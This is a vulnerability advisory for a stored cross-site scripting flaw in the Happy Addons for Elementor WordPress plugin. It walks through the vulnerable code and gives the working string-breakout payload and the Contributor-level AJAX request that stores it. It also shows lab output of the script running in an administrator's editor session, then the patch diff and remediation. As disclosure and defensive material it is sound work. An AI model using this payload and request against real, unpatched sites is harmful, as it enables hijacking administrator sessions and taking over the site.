CVE-2026-104393 The setting that runs as script when the editor opens it in Happy Addons
Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in Happy Addons for Elementor, affecting all versions up to and including 3.50.0. A Contributor writes a value into their own post's Elementor page settings, and the Reading Progress Bar preview echoes it into a JavaScript string with no escaping. It runs for whoever opens the post in the editor. Fixed in 3.50.1.
Summary
Happy Addons adds widgets and extensions to Elementor on more than 400,000 sites. One of its extensions draws a reading progress bar, and in the Elementor editor it prints a block of JavaScript so the bar updates live while the page is being built.
That block interpolates four PHP values into JavaScript string literals. Two of them come from the site's Elementor kit, which only someone who may edit the kit can change. The other two come from the post's own _elementor_page_settings, which is written by whoever can edit the post. A Contributor can edit their own draft.
None of the four is escaped. A stored value of ";alert(document.domain)// closes the string literal, runs as a statement, and comments out what the template prints after it.
Elementor does sanitise page settings on save, with Utils::kses_post_deep(). That is an HTML filter and the payload is punctuation: no tag, no attribute, nothing for it to find. The value is stored exactly as submitted.
The victim is the person who reviews the submission. A Contributor cannot publish, so the draft waits for an editor or administrator to open it, and opening it in Elementor is what runs the script in their session.
Technical detail
Two sources, one of them low-privilege
// extensions/reading-progress-bar.php, Happy Addons 3.50.0
$document = Plugin::$instance->documents->get( $post_id, false ); // line 133
if ( is_object( $document ) ) {
$document_settings_data = $document->get_settings(); // line 136
}
// from the KIT: site-wide, written by whoever edits the kit
$rpb_enable = $this->elementor_get_setting( 'ha_rpb_enable' ); // line 139
$global_enable = $this->elementor_get_setting( 'ha_rpb_apply_globally' ); // 140
// from THE POST: _elementor_page_settings, written by its author
$single_enable = isset( $document_settings_data['ha_rpb_single_enable'] )
? $document_settings_data['ha_rpb_single_enable'] : 'no'; // line 142
$single_disable = isset( $document_settings_data['ha_rpb_single_disable'] )
? $document_settings_data['ha_rpb_single_disable'] : 'no'; // line 143The distinction on lines 139 to 143 is the whole finding. elementor_get_setting() reads the kit, which is site-wide configuration. $document->get_settings() reads the post being rendered. A Contributor owns the second one for their own post and writes it with Elementor's ordinary save_builder call.
The sink, and the guard above it
// the same file, lines 180 to 226
if ( ha_elementor()->preview->is_preview_mode() ) { // line 180
/*if ($global_enable === 'globally') { // line 182
if($single_disable == 'yes') { return; }
} elseif ($global_enable === 'individually') {
if ($single_enable !== 'yes') { return; }
}*/ // line 190
?>
...
<script>
...
let rpbDefaultType = "<?php echo $progress_bar_type; ?>"; // 221
let global_enable = "<?php echo $global_enable; ?>"; // 224
let single_enable = "<?php echo $single_enable; ?>"; // 225
let single_disable = "<?php echo $single_disable; ?>"; // 226
// no escaper on any of the four. the only surviving gate is
// is_preview_mode(); the one that would have required the feature
// to be switched on is commented out above it.Lines 182 to 190 are a commented-out block that would have returned early unless the progress bar was actually turned on for this post. With it commented out, is_preview_mode() is the only condition left, so the script block renders for any post opened in the editor whether or not the feature is enabled. That was confirmed on a lab where the feature was never switched on.
The payload is punctuation
// stored value
";alert(document.domain)//
// emitted, read back out of the live page in the editor preview
let single_enable = "";alert(document.domain)//";
// the first " closes the empty string, alert() runs as a statement,
// and // comments out the "; the template still prints after it.
// why wp_kses_post() has nothing to do here: Elementor runs
// Utils::kses_post_deep() over the settings on save, and the payload
// carries no tag and no attribute. it is punctuation in a string.Nothing has to be configured
# measured on the fresh install, before anything was configured
happyaddons_inactive_extensions = '__ABSENT__'
# the option does not exist, so no extension is switched off.
# Reading Progress Bar is active out of the box.
kit id = '4'
ha_rpb_enable = '__NEVER SET__'
# the feature itself was never enabled, and the block still ran.
contrib edit_posts = YES unfiltered_html = no Verification
WordPress 7.1.3, PHP 8.3, Elementor 4.3.5, Happy Addons 3.50.0, default theme, default settings, on http://127.0.0.1:8499. Two accounts: admin, and contrib created as an ordinary Contributor. No plugin setting was changed at any point.
# every request below is made over HTTP as the Contributor
principal: contrib ['contributor'] | unfiltered_html: False
post created : 5 draft
elementor editor : HTTP 200, 3297102 bytes # their own draft
elementor nonce : 7876e1367b
POST /wp-admin/admin-ajax.php
action=elementor_ajax&_nonce=7876e1367b&editor_post_id=5
actions={"save_builder":{"action":"save_builder",
"data":{"settings":{
"ha_rpb_single_enable":"\";alert(document.domain)//",
"ha_rpb_apply_globally":"individually"}, ...}}}
save_builder : HTTP 200 success=True
submitted for review: pending
# read back out of the database, not inferred from the response:
$ wp eval 'print_r( get_post_meta(5, "_elementor_page_settings", true) );'
ha_rpb_single_enable = '";alert(document.domain)//'
ha_rpb_apply_globally = 'individually'
post_status = pending author = 2The Contributor opened their own draft in the Elementor editor, which they are entitled to do, read the editor's AJAX nonce from that page, and used Elementor's own save route. Nothing here is a route the plugin did not intend them to use.
What runs, and for whom
// an administrator opens the submitted post in the Elementor editor
// GET /?p=5&elementor-preview=5
[3.50.0 admin] dialogs: 1 message: 127.0.0.1
emitted: let single_enable = "";alert(document.domain)//";
// and in the Contributor's own session, on the same post
[3.50.0 contrib] dialogs: 1 message: 127.0.0.1
// control: the same path, the value the setting is meant to hold
[3.50.0 control] dialogs: 0
emitted: let single_enable = "yes";
// instrument control, before every run
// data:text/html,<script>alert('instrument-control')</script> -> 1 dialogThe control is the same request with yes, the value the setting is designed to hold. It emits let single_enable = "yes"; and nothing happens, so the break-out comes from the stored value and not from opening the preview.
3.50.1
// Happy Addons 3.50.1, same lab, the payload still in the post meta
$ wp eval '...' stored = '";alert(document.domain)//'
[3.50.1 payload post] dialogs: 0
emitted: let single_enable = "no";
// and the other pole: a legitimate value still works
[3.50.1 legitimate yes] dialogs: 0
emitted: let single_enable = "yes";Both halves were measured because one alone proves little. The stored payload is untouched in the post meta and now emits "no", and a legitimate yes still emits "yes", so the release collapses the hostile value without disabling the feature.
Impact
The attacker needs an account with edit_posts and nothing else. Contributor is the standard role for guest authors, volunteers and agency staff, and it exists precisely so somebody can write a draft that a more senior person approves.
This finding makes that approval step the attack. The script lives only in the editor preview, so no visitor to the published site is exposed. The person who opens the submission to decide whether to publish it is.
That session is usually an administrator's. Script running in it holds their cookies and the nonces printed on the page, in the site's own origin, which is enough to create a second administrator account or install a plugin, and installing a plugin is PHP of the attacker's choosing on the server.
No plugin configuration is involved. The extension is active out of the box, and the commented-out guard means the progress bar does not even have to be turned on. Both were measured on a default install.
Two of the four interpolations in that block are reachable this way. The other two come from the Elementor kit, which a Contributor cannot write, so they are not part of this finding even though 3.50.1 escapes them too.
Remediation
Update Happy Addons for Elementor to 3.50.1 or later.
// Happy Addons 3.50.1
+ // Whitelist switcher values to prevent stored XSS via _elementor_page_settings
+ $single_enable = ( 'yes' === $single_enable ) ? 'yes' : 'no';
+ $single_disable = ( 'yes' === $single_disable ) ? 'yes' : 'no';
// and an escaper on all seven interpolations in the file:
- let rpbDefaultType = "<?php echo $progress_bar_type; ?>";
+ let rpbDefaultType = "<?php echo esc_js( $progress_bar_type ); ?>";
- let global_enable = "<?php echo $global_enable; ?>";
+ let global_enable = "<?php echo esc_js( $global_enable ); ?>";
- let single_enable = "<?php echo $single_enable; ?>";
+ let single_enable = "<?php echo esc_js( $single_enable ); ?>";
// the same for $single_disable and $rpb_vertical_position,
// and for the two copies inside the settings-changed handlerTwo layers, and the release applied both. The allow-list is what actually closes this finding: the two post-level values are switches, so anything that is not yes becomes no and the attacker's string never reaches the output at all. esc_js() on all seven interpolations is the general fix for the file, and it covers the kit-level values that a Contributor could not reach anyway.
A site that was attacked before updating does not need its database cleaned. That was measured: the payload is still in _elementor_page_settings and 3.50.1 emits "no" for it. The stored setting is still not what its author appears to have chosen, so affected drafts are worth opening and resaving.
The commented-out gate on lines 182 to 190 is unchanged in 3.50.1. That is not a security matter once the values are escaped, and it is worth knowing if you are reading the file: the preview block still renders for every post opened in the editor.
The wider lesson
The useful habit here is to ask, of any value a template interpolates, who is allowed to write it. Four values are printed into that script block the same way and the answer differs for two of them. elementor_get_setting() reads site configuration. $document->get_settings() reads the document being rendered, and a document is a post, and a post has an author who may be the lowest-privileged account on the site. The two calls sit four lines apart and look alike.
The second point is about where an escaper has to live. Elementor does sanitise these settings on the way in, thoroughly, with the WordPress HTML filter. That filter is correct for a value that will become HTML. This one becomes a JavaScript string literal, where the dangerous character is the quote and the dangerous construct is a semicolon followed by a statement. An input filter can only defend the context it was chosen for, and the context is decided by the template, somewhere else in the codebase, possibly years later.
That is why output escaping is the one that has to be right. The author of the save path cannot know every place the value will be printed. The author of the template can see exactly what it is being printed into, and esc_js() is one call away.
Last, the commented-out guard is worth a note for anyone auditing. Four lines of dead code decided that this block renders for every post in the editor instead of only for posts using the feature. Commented-out conditions are easy to read past and they change reachability, which is the first thing a reviewer wants to know.
Disclosure timeline
- 2026-09-28 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
- 2026-10-05 Release 3.50.1 published by Leevio
- 2026-10-07 Public disclosure by Patchstack, CVE-2026-104393 published
Questions
What is CVE-2026-104393?
CVE-2026-104393 is a stored cross-site scripting vulnerability in Happy Addons for Elementor, affecting all versions up to and including 3.50.0. The Reading Progress Bar extension echoes two values from a post's Elementor page settings into JavaScript string literals with no escaping, so a value containing a quote and a semicolon runs as code for anyone who opens that post in the editor.
Who can exploit CVE-2026-104393?
Any user who can edit a post, which means Contributor and above. The values live in the post's own _elementor_page_settings meta, written through Elementor's standard save_builder call, and a Contributor may open and save their own draft in the Elementor editor.
Are visitors to my site affected?
No. The script block that carries the payload is printed only in Elementor's preview mode, so it runs for people opening the post in the editor. In practice that is whoever reviews the submission, which on most sites is an editor or an administrator.
Do I have to be using the Reading Progress Bar?
No. The extension is active on a fresh install, and the condition that would have required the progress bar to be enabled for the post is commented out in the source, so the preview block renders either way. This was confirmed on a lab where the feature was never switched on.
How do I fix CVE-2026-104393?
Update Happy Addons for Elementor to 3.50.1 or later. That release constrains the two post-level switch values to yes or no before they are used, and applies esc_js() to every value interpolated into the preview script. A payload already stored in the database is rendered harmless without any cleanup.